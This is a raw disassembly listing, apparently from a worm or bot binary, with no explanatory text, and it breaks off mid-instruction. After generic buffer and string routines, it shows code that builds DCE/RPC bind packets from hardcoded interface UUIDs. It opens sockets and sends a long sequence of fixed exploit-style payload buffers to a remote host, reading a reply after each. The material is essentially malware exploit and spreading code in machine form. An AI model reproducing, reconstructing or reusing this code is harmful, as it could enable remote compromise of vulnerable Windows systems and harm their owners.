proc near ; CODE XREF: sub_40B943+33p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp [ecx+0Ch], eax jnb short locret_40BE6F push 0 push eax call sub_40C01F locret_40BE6F: ; CODE XREF: sub_40BE5E+7j retn 4 sub_40BE5E endp ; =============== S U B R O U T I N E ======================================= sub_40BE72 proc near ; CODE XREF: sub_40BDB6+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_433470 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40BE8C call sub_431490 loc_40BE8C: ; CODE XREF: sub_40BE72+13j test ebx, ebx jbe short loc_40BEBF mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40C01F test al, al jz short loc_40BEBF mov eax, [esi+4] push ebx push [esp+10h+arg_0] add eax, [esi+8] push eax call sub_40BEC7 add esp, 0Ch mov ecx, esi push edi call sub_40BFEF loc_40BEBF: ; CODE XREF: sub_40BE72+1Cj ; sub_40BE72+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40BE72 endp ; =============== S U B R O U T I N E ======================================= sub_40BEC7 proc near ; CODE XREF: sub_40BE72+3Dp ; sub_40BEDC+D9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] call sub_4187B0 add esp, 0Ch retn sub_40BEC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEDC proc near ; CODE XREF: sub_40BD61+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, ecx push edi mov ecx, ebx call sub_40BFCE cmp eax, [ebp+arg_4] jnb short loc_40BEF8 call sub_431790 loc_40BEF8: ; CODE XREF: sub_40BEDC+15j mov ecx, ebx call sub_40BFCE mov edi, eax mov eax, [ebp+arg_4] sub edi, eax cmp [ebp+arg_8], edi jnb short loc_40BF0E mov edi, [ebp+arg_8] loc_40BF0E: ; CODE XREF: sub_40BEDC+2Dj cmp esi, ebx jnz short loc_40BF33 push dword_433470 add edi, eax mov ecx, esi push edi call sub_40C15B push [ebp+arg_4] mov ecx, esi push 0 call sub_40C15B jmp loc_40BFC5 ; --------------------------------------------------------------------------- loc_40BF33: ; CODE XREF: sub_40BEDC+34j test edi, edi jbe short loc_40BF98 mov ecx, ebx call sub_40BFCE cmp edi, eax jnz short loc_40BF98 mov ecx, ebx call sub_40BE4D push eax mov ecx, esi call sub_40C2B0 cmp byte ptr [eax], 0FEh jnb short loc_40BF98 push ebx push esi call sub_40C315 pop ecx test al, al pop ecx jz short loc_40BF98 push 1 mov ecx, esi call sub_40C0CB mov ecx, ebx call sub_40BE4D mov ecx, ebx mov [esi+4], eax call sub_40BFCE mov ecx, ebx mov [esi+8], eax call sub_40C1E7 push dword ptr [esi+4] mov ecx, esi mov [esi+0Ch], eax call sub_40C2B0 inc byte ptr [eax] jmp short loc_40BFC5 ; --------------------------------------------------------------------------- loc_40BF98: ; CODE XREF: sub_40BEDC+59j ; sub_40BEDC+64j ... push 1 push edi mov ecx, esi call sub_40C01F test al, al jz short loc_40BFC5 push edi mov ecx, ebx call sub_40BE4D add eax, [ebp+arg_4] push eax push dword ptr [esi+4] call sub_40BEC7 add esp, 0Ch mov ecx, esi push edi call sub_40BFEF loc_40BFC5: ; CODE XREF: sub_40BEDC+52j ; sub_40BEDC+BAj ... mov eax, esi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40BEDC endp ; =============== S U B R O U T I N E ======================================= sub_40BFCE proc near ; CODE XREF: sub_40BEDC+Dp ; sub_40BEDC+1Ep ... mov eax, [ecx+8] retn sub_40BFCE endp ; =============== S U B R O U T I N E ======================================= sub_40BFD2 proc near ; CODE XREF: sub_40BD8B+18p ; sub_40C2C5+34p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40BDD3 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40C125 pop esi retn 4 sub_40BFD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEF proc near ; CODE XREF: sub_40BDDE+49p ; sub_40BE72+48p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and [ebp+var_1], 0 mov [ecx+8], eax mov ecx, [ecx+4] lea edx, [ebp+var_1] add ecx, eax push edx push ecx call sub_40C012 pop ecx pop ecx leave retn 4 sub_40BFEF endp ; =============== S U B R O U T I N E ======================================= sub_40C012 proc near ; CODE XREF: sub_40BFEF+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] mov al, [eax] mov [ecx], al retn sub_40C012 endp ; =============== S U B R O U T I N E ======================================= sub_40C01F proc near ; CODE XREF: sub_40BDDE+28p ; sub_40BE5E+Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi push edi mov esi, ecx call sub_40C1D5 mov edi, [esp+0Ch+arg_0] cmp eax, edi jnb short loc_40C036 call sub_431490 loc_40C036: ; CODE XREF: sub_40C01F+10j mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz short loc_40C076 push eax mov ecx, esi call sub_40C2B0 cmp [eax], bl jz short loc_40C076 push dword ptr [esi+4] mov ecx, esi call sub_40C2B0 cmp byte ptr [eax], 0FFh jz short loc_40C076 cmp edi, ebx jnz short loc_40C0B5 push dword ptr [esi+4] mov ecx, esi call sub_40C2B0 dec byte ptr [eax] push ebx loc_40C06B: ; CODE XREF: sub_40C01F+63j mov ecx, esi call sub_40C0CB loc_40C072: ; CODE XREF: sub_40C01F+68j ; sub_40C01F+72j xor al, al jmp short loc_40C0BF ; --------------------------------------------------------------------------- loc_40C076: ; CODE XREF: sub_40C01F+1Ej ; sub_40C01F+2Aj ... cmp edi, ebx jnz short loc_40C093 cmp [esp+0Ch+arg_4], bl jz short loc_40C084 push 1 jmp short loc_40C06B ; --------------------------------------------------------------------------- loc_40C084: ; CODE XREF: sub_40C01F+5Fj cmp [esi+4], ebx jz short loc_40C072 push ebx mov ecx, esi call sub_40BFEF jmp short loc_40C072 ; --------------------------------------------------------------------------- loc_40C093: ; CODE XREF: sub_40C01F+59j cmp [esp+0Ch+arg_4], bl jz short loc_40C0B0 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40C0A5 cmp eax, edi jnb short loc_40C0BD loc_40C0A5: ; CODE XREF: sub_40C01F+80j push 1 mov ecx, esi call sub_40C0CB jmp short loc_40C0B5 ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C01F+78j cmp [esi+0Ch], edi jnb short loc_40C0BD loc_40C0B5: ; CODE XREF: sub_40C01F+3Dj ; sub_40C01F+8Fj push edi mov ecx, esi call sub_40C1EB loc_40C0BD: ; CODE XREF: sub_40C01F+84j ; sub_40C01F+94j mov al, 1 loc_40C0BF: ; CODE XREF: sub_40C01F+55j pop edi pop esi pop ebx retn 8 sub_40C01F endp ; =============== S U B R O U T I N E ======================================= sub_40C0C5 proc near ; CODE XREF: sub_40BE4D+7p mov eax, offset dword_433474 retn sub_40C0C5 endp ; =============== S U B R O U T I N E ======================================= sub_40C0CB proc near ; CODE XREF: sub_40BD49+Dp ; sub_40BD61+Ep ... arg_0 = byte ptr 4 push ebx xor ebx, ebx cmp [esp+4+arg_0], bl push esi mov esi, ecx jz short loc_40C117 mov eax, [esi+4] cmp eax, ebx jz short loc_40C117 push eax call sub_40C2B0 cmp [eax], bl jz short loc_40C105 push dword ptr [esi+4] mov ecx, esi call sub_40C2B0 cmp byte ptr [eax], 0FFh jz short loc_40C105 push dword ptr [esi+4] mov ecx, esi call sub_40C2B0 dec byte ptr [eax] jmp short loc_40C117 ; --------------------------------------------------------------------------- loc_40C105: ; CODE XREF: sub_40C0CB+1Bj ; sub_40C0CB+2Aj mov eax, [esi+0Ch] mov ecx, esi inc eax inc eax push eax mov eax, [esi+4] dec eax push eax call sub_40C2B8 loc_40C117: ; CODE XREF: sub_40C0CB+Aj ; sub_40C0CB+11j ... mov [esi+4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx pop esi pop ebx retn 4 sub_40C0CB endp ; =============== S U B R O U T I N E ======================================= sub_40C125 proc near ; CODE XREF: sub_40BFD2+14p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 push [esp+8+arg_4] mov esi, ecx call sub_40C01F test al, al jz short loc_40C155 push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [esi+4] call sub_40BEC7 add esp, 0Ch mov ecx, esi push [esp+4+arg_4] call sub_40BFEF loc_40C155: ; CODE XREF: sub_40C125+10j mov eax, esi pop esi retn 8 sub_40C125 endp ; =============== S U B R O U T I N E ======================================= sub_40C15B proc near ; CODE XREF: sub_40BEDC+41p ; sub_40BEDC+4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40C16E call sub_431790 loc_40C16E: ; CODE XREF: sub_40C15B+Cj mov ecx, edi call sub_40C2C5 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40C184 mov ebx, eax loc_40C184: ; CODE XREF: sub_40C15B+25j test ebx, ebx jbe short loc_40C1B8 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40C1C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40C01F test al, al jz short loc_40C1B8 push esi mov ecx, edi call sub_40BFEF loc_40C1B8: ; CODE XREF: sub_40C15B+2Bj ; sub_40C15B+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40C15B endp ; =============== S U B R O U T I N E ======================================= sub_40C1C0 proc near ; CODE XREF: sub_40C15B+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] call sub_4197C0 add esp, 0Ch retn sub_40C1C0 endp ; =============== S U B R O U T I N E ======================================= sub_40C1D5 proc near ; CODE XREF: sub_40C01F+5p ; sub_40C1EB+1Ep call sub_40C311 cmp eax, 2 ja short loc_40C1E3 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_40C1E3: ; CODE XREF: sub_40C1D5+8j add eax, 0FFFFFFFEh retn sub_40C1D5 endp ; =============== S U B R O U T I N E ======================================= sub_40C1E7 proc near ; CODE XREF: sub_40BEDC+A6p mov eax, [ecx+0Ch] retn sub_40C1E7 endp ; =============== S U B R O U T I N E ======================================= sub_40C1EB proc near ; CODE XREF: sub_40C01F+99p mov eax, offset loc_4320E4 call sub_4197A0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi or edi, 1Fh call sub_40C1D5 cmp eax, edi jnb short loc_40C215 mov edi, [ebp+8] loc_40C215: ; CODE XREF: sub_40C1EB+25j and dword ptr [ebp-4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40C301 mov [ebp+8], eax jmp short loc_40C24E ; --------------------------------------------------------------------------- loc_40C22B: ; DATA XREF: ___:00435214o mov eax, [ebp+8] mov ecx, [ebp-14h] mov [ebp-18h], eax add eax, 2 push 0 push eax call sub_40C301 mov [ebp+8], eax mov eax, offset loc_40C248 retn ; --------------------------------------------------------------------------- loc_40C248: ; DATA XREF: sub_40C1EB+57o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40C24E: ; CODE XREF: sub_40C1EB+3Ej mov eax, [esi+8] or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax jbe short loc_40C270 cmp eax, edi jbe short loc_40C25F mov eax, edi loc_40C25F: ; CODE XREF: sub_40C1EB+70j push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40BEC7 add esp, 0Ch loc_40C270: ; CODE XREF: sub_40C1EB+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40C0CB mov eax, [ebp+8] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40C2B0 and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40C297 mov edi, ebx loc_40C297: ; CODE XREF: sub_40C1EB+A8j push edi mov ecx, esi call sub_40BFEF mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40C1EB endp ; =============== S U B R O U T I N E ======================================= sub_40C2B0 proc near ; CODE XREF: sub_40BEDC+70p ; sub_40BEDC+B3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40C2B0 endp ; =============== S U B R O U T I N E ======================================= sub_40C2B8 proc near ; CODE XREF: sub_40C0CB+47p arg_0 = dword ptr 4 push [esp+arg_0] call sub_419B00 pop ecx retn 8 sub_40C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_40C2C5 proc near ; CODE XREF: sub_40C15B+15p push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40C2FF push eax call sub_40C2B0 cmp byte ptr [eax], 0 jz short loc_40C2FF push dword ptr [esi+4] mov ecx, esi call sub_40C2B0 cmp byte ptr [eax], 0FFh jz short loc_40C2FF push edi mov edi, [esi+4] push 1 mov ecx, esi call sub_40C0CB push edi mov ecx, esi call sub_40BFD2 pop edi loc_40C2FF: ; CODE XREF: sub_40C2C5+8j ; sub_40C2C5+13j ... pop esi retn sub_40C2C5 endp ; =============== S U B R O U T I N E ======================================= sub_40C301 proc near ; CODE XREF: sub_40C1EB+36p ; sub_40C1EB+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40C318 pop ecx pop ecx retn 8 sub_40C301 endp ; =============== S U B R O U T I N E ======================================= sub_40C311 proc near ; CODE XREF: sub_40C1D5p or eax, 0FFFFFFFFh retn sub_40C311 endp ; =============== S U B R O U T I N E ======================================= sub_40C315 proc near ; CODE XREF: sub_40BEDC+7Cp mov al, 1 retn sub_40C315 endp ; =============== S U B R O U T I N E ======================================= sub_40C318 proc near ; CODE XREF: sub_40C301+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40C322 xor eax, eax loc_40C322: ; CODE XREF: sub_40C318+6j push eax call sub_419BB0 pop ecx retn sub_40C318 endp ; =============== S U B R O U T I N E ======================================= sub_40C32A proc near ; CODE XREF: ___:loc_40BD33p ; sub_4318D0+3p test byte_4DB44C, 1 jnz short locret_40C33A or byte_4DB44C, 1 locret_40C33A: ; CODE XREF: sub_40C32A+7j retn sub_40C32A endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C33C proc near ; CODE XREF: ___:0040C709p var_24 = byte ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push esi push edi xor edi, edi push 20h lea eax, [ebp+var_24] push edi push eax mov [ebp+var_4], edi call sub_417070 mov esi, offset dword_4D621C push offset dword_43F484 push esi call sub_4184C0 push [ebp+arg_0] push esi call sub_4184D0 push offset dword_43F488 push esi call sub_4184D0 push offset dword_43F48C push esi call sub_4184D0 add esp, 2Ch lea eax, [ebp+var_24] mov [ebp+var_10], esi mov [ebp+var_20], 1 push edi push edi push edi push eax mov [ebp+var_14], edi mov [ebp+var_8], edi call dword_4453F0 push dword_443B70 push [ebp+arg_0] push dword_4D631C call sub_419D00 add esp, 0Ch lea eax, [ebp+var_4] push eax push 66h push dword_4D631C call dword_44527C test eax, eax mov esi, offset dword_4D6320 jnz short loc_40C3EB mov eax, [ebp+var_4] push edi push edi push 64h push esi push 0FFFFFFFFh push dword ptr [eax+4] push edi push edi call near ptr 2710000h nop loc_40C3EB: ; CODE XREF: sub_40C33C+98j cmp [ebp+var_4], edi jz short loc_40C3F9 push [ebp+var_4] call dword_4453D8 loc_40C3F9: ; CODE XREF: sub_40C33C+B2j mov eax, esi pop edi pop esi leave retn sub_40C33C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3FF proc near ; CODE XREF: sub_40C49D+3Fp ; sub_40C49D:loc_40C4F4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi push esi xor edi, edi call sub_414BE0 test eax, eax pop ecx mov [ebp+arg_0], eax jbe short loc_40C46C or eax, 0FFFFFFFFh push ebx lea edx, [esi+1] sub eax, esi loc_40C420: ; CODE XREF: sub_40C3FF+6Aj mov cl, [edx-1] cmp cl, 30h jl short loc_40C435 cmp cl, 39h jg short loc_40C435 movsx ecx, cl sub ecx, 30h jmp short loc_40C43B ; --------------------------------------------------------------------------- loc_40C435: ; CODE XREF: sub_40C3FF+27j ; sub_40C3FF+2Cj movsx ecx, cl sub ecx, 57h loc_40C43B: ; CODE XREF: sub_40C3FF+34j mov bl, [edx] shl ecx, 4 cmp bl, 30h jl short loc_40C453 cmp bl, 39h jg short loc_40C453 movsx esi, bl lea ecx, [ecx+esi-30h] jmp short loc_40C45A ; --------------------------------------------------------------------------- loc_40C453: ; CODE XREF: sub_40C3FF+44j ; sub_40C3FF+49j movsx esi, bl lea ecx, [ecx+esi-57h] loc_40C45A: ; CODE XREF: sub_40C3FF+52j mov esi, [ebp+arg_4] mov [edi+esi], cl inc edi inc edx inc edx lea ecx, [eax+edx] cmp ecx, [ebp+arg_0] jb short loc_40C420 pop ebx loc_40C46C: ; CODE XREF: sub_40C3FF+16j mov eax, edi pop edi pop esi pop ebp retn sub_40C3FF endp ; =============== S U B R O U T I N E ======================================= sub_40C472 proc near ; CODE XREF: sub_40C49D+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov edx, eax xor esi, esi shr edx, 1 jz short loc_40C49B push ebx push edi mov edi, [esp+0Ch+arg_0] lea eax, [edi+eax-1] loc_40C489: ; CODE XREF: sub_40C472+25j mov bl, [esi+edi] mov cl, [eax] mov [eax], bl mov [esi+edi], cl inc esi dec eax cmp esi, edx jb short loc_40C489 pop edi pop ebx loc_40C49B: ; CODE XREF: sub_40C472+Bj pop esi retn sub_40C472 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C49D proc near ; CODE XREF: sub_40C52A+69p ; sub_40C52A+89p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, [ebp+arg_0] push esi push edi xor esi, esi push ebx mov [ebp+var_4], esi mov [ebp+var_8], esi mov edi, ebx call sub_414BE0 mov [ebp+arg_0], esi cmp eax, esi mov esi, [ebp+arg_4] pop ecx mov [ebp+var_C], eax jbe short loc_40C515 loc_40C4C7: ; CODE XREF: sub_40C49D+76j mov eax, [ebp+arg_0] add eax, ebx cmp byte ptr [eax], 2Dh jnz short loc_40C50A and byte ptr [eax], 0 cmp [ebp+var_8], 3 push esi push edi jnb short loc_40C4F4 call sub_40C3FF mov edi, eax push edi push esi call sub_40C472 add esp, 10h add esi, edi add [ebp+var_4], edi jmp short loc_40C500 ; --------------------------------------------------------------------------- loc_40C4F4: ; CODE XREF: sub_40C49D+3Dj call sub_40C3FF pop ecx add esi, eax add [ebp+var_4], eax pop ecx loc_40C500: ; CODE XREF: sub_40C49D+55j mov eax, [ebp+arg_0] inc [ebp+var_8] lea edi, [eax+ebx+1] loc_40C50A: ; CODE XREF: sub_40C49D+32j inc [ebp+arg_0] mov eax, [ebp+var_C] cmp [ebp+arg_0], eax jb short loc_40C4C7 loc_40C515: ; CODE XREF: sub_40C49D+28j and byte ptr [eax+esi], 0 push esi push edi call sub_40C3FF add eax, [ebp+var_4] pop ecx pop ecx pop edi pop esi pop ebx leave retn sub_40C49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C52A proc near ; CODE XREF: ___:0040C6C4p var_2C = byte ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 9 pop ecx mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860" lea edi, [ebp+var_2C] push 1 rep movsd push 800h movsb call sub_4151C0 pop ecx mov esi, eax pop ecx push 1 push [ebp+arg_4] call sub_414BE0 shr eax, 1 inc eax pop ecx inc eax push eax call sub_4151C0 mov edi, esi push 1 mov [ebp+var_4], eax add esi, 10h xor ebx, ebx pop eax mov word ptr [esi], 16D0h mov word ptr [esi+2], 16D0h mov [esi+4], ebx mov [esi+8], eax mov [esi+0Ch], bx mov [esi+0Eh], ax add esi, 10h push esi push [ebp+arg_4] call sub_40C49D add esi, eax lea eax, [ebp+arg_8] push 2 push eax push esi call sub_4187B0 inc esi lea eax, [ebp+var_2C] inc esi mov [esi], bl inc esi mov [esi], bl inc esi push esi push eax call sub_40C49D add esi, eax mov ecx, [ebp+arg_C] push [ebp+var_4] mov byte ptr [esi], 2 inc esi mov [esi], bl sub esi, edi inc esi mov byte ptr [edi], 5 mov [edi+1], bl mov byte ptr [edi+2], 0Bh lea eax, [esi+2] mov byte ptr [edi+3], 3 mov [edi+8], ax mov eax, [ebp+arg_0] mov [edi+0Ch], eax mov dword ptr [edi+4], 10h movzx eax, si inc eax mov [edi+0Ah], bx inc eax mov [ecx], eax call sub_415820 add esp, 28h mov eax, edi pop edi pop esi pop ebx leave retn sub_40C52A endp ; =============== S U B R O U T I N E ======================================= sub_40C605 proc near ; CODE XREF: ___:0040C74Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push esi call sub_414BE0 pop ecx mov ecx, [esp+4+arg_0] lea ecx, [ecx+eax*2-1] loc_40C619: ; CODE XREF: sub_40C605+25j mov edx, eax dec eax test edx, edx jz short loc_40C62C and byte ptr [ecx], 0 mov dl, [eax+esi] dec ecx mov [ecx], dl dec ecx jmp short loc_40C619 ; --------------------------------------------------------------------------- loc_40C62C: ; CODE XREF: sub_40C605+19j pop esi retn sub_40C605 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1048h call sub_417E20 push ebx xor ebx, ebx cmp dword_44527C, ebx push esi push edi jz loc_40C6FE push 9 mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525" pop ecx lea edi, [ebp-48h] rep movsd movsb push 1 pop edi push ebx push edi push 2 mov [ebp-4], edi call dword_4453C8 mov esi, eax cmp esi, ebx mov [ebp-0Ch], esi jl loc_40C6FE push dword ptr [ebp+0A8h] mov word ptr [ebp-20h], 2 call dword_445348 mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_445388 mov [ebp-1Ch], eax push 8 lea eax, [ebp-18h] push ebx push eax call sub_417070 add esp, 0Ch lea eax, [ebp-20h] push 10h push eax push esi call dword_4452F0 test eax, eax jl short loc_40C6FE lea eax, [ebp-10h] push eax lea eax, [ebp-48h] push edi push eax push ebx call sub_40C52A add esp, 10h mov edi, eax push ebx push dword ptr [ebp-10h] push edi push esi call dword_445398 cmp eax, 0FFFFFFFFh jz short loc_40C6F7 push ebx lea eax, [ebp-1048h] push 1000h push eax push esi nop call near ptr 71AB5690h test eax, eax jg short loc_40C705 loc_40C6F7: ; CODE XREF: ___:0040C6DDj push edi call sub_415820 pop ecx loc_40C6FE: ; CODE XREF: ___:0040C646j ; ___:0040C671j ... xor eax, eax loc_40C700: ; CODE XREF: ___:0040C898j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C705: ; CODE XREF: ___:0040C6F5j lea eax, [ebp+0Ch] push eax call sub_40C33C push eax mov [ebp-8], eax call sub_414BE0 pop ecx test eax, eax pop ecx jz short loc_40C6FE mov edi, 104Ch push edi call sub_414DB0 mov esi, eax push edi push 90h push esi call sub_417070 push 42h push offset dword_43F258 push esi call sub_4187B0 push dword ptr [ebp-8] lea ebx, [esi+42h] push ebx call sub_40C605 push dword ptr [ebp-8] call sub_414BE0 lea ebx, [ebx+eax*2] push 14h push offset off_43F29C push ebx call sub_4187B0 mov ebx, offset dword_43F2B4 push 18h lea eax, [esi+418h] push ebx push eax call sub_4187B0 add esp, 40h lea eax, [esi+830h] push 18h push ebx push eax call sub_4187B0 push 18h lea eax, [esi+0C48h] push offset dword_43F2D0 push eax call sub_4187B0 lea ebx, [esi+1B6h] push 3Ah push offset loc_43F2EC push ebx call sub_4187B0 push 0FFFFh push 539h call sub_4123FE add esp, 2Ch mov [ebp-8], eax xor eax, 437h push eax call dword_445348 push 158h add ebx, 3Ah push offset dword_43F328 push ebx mov word_43F3E2, ax call sub_4187B0 and byte ptr [esi+104Ah], 0 and byte ptr [esi+104Bh], 0 push 1 lea eax, [ebp+0Ch] pop ebx push ebx push eax call sub_411949 add esp, 14h cmp eax, 2 jnz short loc_40C817 mov dword ptr [ebp-4], 8 loc_40C817: ; CODE XREF: ___:0040C80Ej cmp eax, 3 jnz short loc_40C81F mov [ebp-4], ebx loc_40C81F: ; CODE XREF: ___:0040C81Aj ; ___:0040C839j mov eax, [ebp-4] dec dword ptr [ebp-4] test eax, eax jz short loc_40C840 push 0 push edi push esi push dword ptr [ebp-0Ch] call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_40C81F jmp loc_40C6FE ; --------------------------------------------------------------------------- loc_40C840: ; CODE XREF: ___:0040C827j push dword ptr [ebp-0Ch] call dword_4453E0 push 1F4h nop call near ptr 2690599h push esi call sub_415820 pop ecx lea esi, [ebp+8] push dword ptr [ebp-8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_4121EE add esp, 0C0h cmp al, 1 jnz loc_40C6FE mov eax, [ebp+0B0h] shl eax, 6 inc dword_43DE40[eax] lea eax, dword_43DE40[eax] mov eax, ebx jmp loc_40C700 ; =============== S U B R O U T I N E ======================================= sub_40C89D proc near ; CODE XREF: sub_40CE96+39p var_230 = byte ptr -230h var_210 = byte ptr -210h var_1F0 = byte ptr -1F0h var_1D0 = byte ptr -1D0h var_1B0 = byte ptr -1B0h var_190 = byte ptr -190h var_170 = byte ptr -170h var_150 = byte ptr -150h var_130 = byte ptr -130h var_110 = byte ptr -110h var_F0 = byte ptr -0F0h var_D0 = byte ptr -0D0h var_B0 = byte ptr -0B0h var_90 = byte ptr -90h var_70 = byte ptr -70h var_50 = byte ptr -50h var_30 = byte ptr -30h var_20 = dword ptr -20h var_10 = byte ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 arg_136F8 = byte ptr 136FCh arg_13720 = dword ptr 13724h arg_13864 = byte ptr 13868h arg_1388C = byte ptr 13890h arg_13924 = dword ptr 13928h mov eax, 13894h call sub_417E20 push ebx push ebp push esi push edi xor edi, edi push edi push 1 push 2 call near ptr 71AB3C22h nop mov esi, eax lea eax, [esp+1Ch+arg_1388C] push eax mov word ptr [esp+20h+var_8], 2 nop call near ptr 71AB12F8h push [esp+20h+arg_13924] mov [esp+24h+var_8], eax nop call near ptr 71AB1746h mov [esp+24h+var_E], ax lea eax, [esp+24h+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh test eax, eax jge short loc_40C8FE loc_40C8F7: ; CODE XREF: sub_40C89D+275j xor eax, eax jmp loc_40CD29 ; --------------------------------------------------------------------------- loc_40C8FE: ; CODE XREF: sub_40C89D+58j lea eax, [esp+30h+var_20] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+44h+var_20], 1388h call near ptr 71AB3F8Dh nop lea eax, [esp+44h+arg_13864] push 1 push eax call sub_411949 pop ecx cmp eax, 2 pop ecx jz loc_40CB17 cmp eax, 1 jz loc_40CB17 mov ebx, dword_4DD498 push edi push 48h push offset aB ; "" push esi call ebx ; send mov ebp, dword_4DD490 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_43F530 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_43F58C push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_43F640 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_43F738 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_43F778 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_43F7DC push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_43F874 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_43F9D0 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_43FB2C push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_43FC88 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv test eax, eax jz 